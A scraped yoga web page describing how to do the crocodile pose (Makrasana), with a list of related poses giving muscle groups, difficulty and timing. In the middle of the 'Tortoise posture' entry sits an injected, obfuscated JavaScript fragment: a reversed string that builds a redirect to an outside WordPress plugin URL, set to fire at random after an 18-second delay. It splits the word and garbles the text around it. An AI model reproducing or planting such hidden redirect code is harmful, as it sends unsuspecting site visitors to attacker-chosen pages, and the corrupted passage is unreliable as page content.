Yoga details

Crocodile pose (Makrasana)

Muscle System : Legs, thighs and stomach

Level of Difficulty : M

Timing : Morning

Accessories needed : Yoga mat

Benefits : This asana can be done as a relaxation pose between other asanas or it can be relaxation method when you are tired. You can be in this asana for a prolonged period of time if you are tired after a workout. It gives deep relaxation to the shoulders and the spine.

Overview :

Steps to Perform :

Step 1

Lie down on the floor on your stomach with your hands folded under the head.

Step 2

Place the palms on your shoulders in a relaxed way and close your eyes.

Step 3

Stretch the legs as far as possible. The toes should point outwards.

Step 4

Relax the whole body. Breathe normally and slowly. Feel the whole body touching the ground and the deep relaxation in all your muscles.

Comments

Leave a Reply

Your email address will not be published. Required fields are marked *

People Who Viewed this Yoga Pose Also Viewed

Palm tree pose (Tadasana)

Muscle System :Upper body and lower body

Level of Difficulty : L

Timing : Morning

Accessories needed : Yoga mat

Dharana (concentration)

Muscle System :Hands, upper back

Level of Difficulty : M

Timing : Morning

Accessories needed : Yoga mat

Grasshopper Pose (salabhasana)

Muscle System :Leg, Vertebral column, Arm, Buttocks

Level of Difficulty : L

Timing : Morning & Evening

Accessories needed : Yoga mat

Tortoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toise posture (Kurmasana)

Muscle System :Legs, Buttocks and hands

Level of Difficulty : H

Timing : Morning

Accessories needed : Yoga mat

Samadhi(effortless meditation, absorption, equlibrium)

Muscle System :Hands, neck, upper back

Level of Difficulty : M

Timing : morning

Accessories needed : yoga mat

Yama (control)

Muscle System :muscles and organs

Level of Difficulty : M

Timing : morning

Accessories needed : yoga mat and props

Dhyana (uninterupted meditation)

Muscle System :hands,neck,upper back

Level of Difficulty : M

Timing : morning

Accessories needed : yoga mat

Easy Pose (Sukhasana)

Muscle System :legs and Buttocks

Level of Difficulty : L

Timing : Morning

Accessories needed : Yoga mat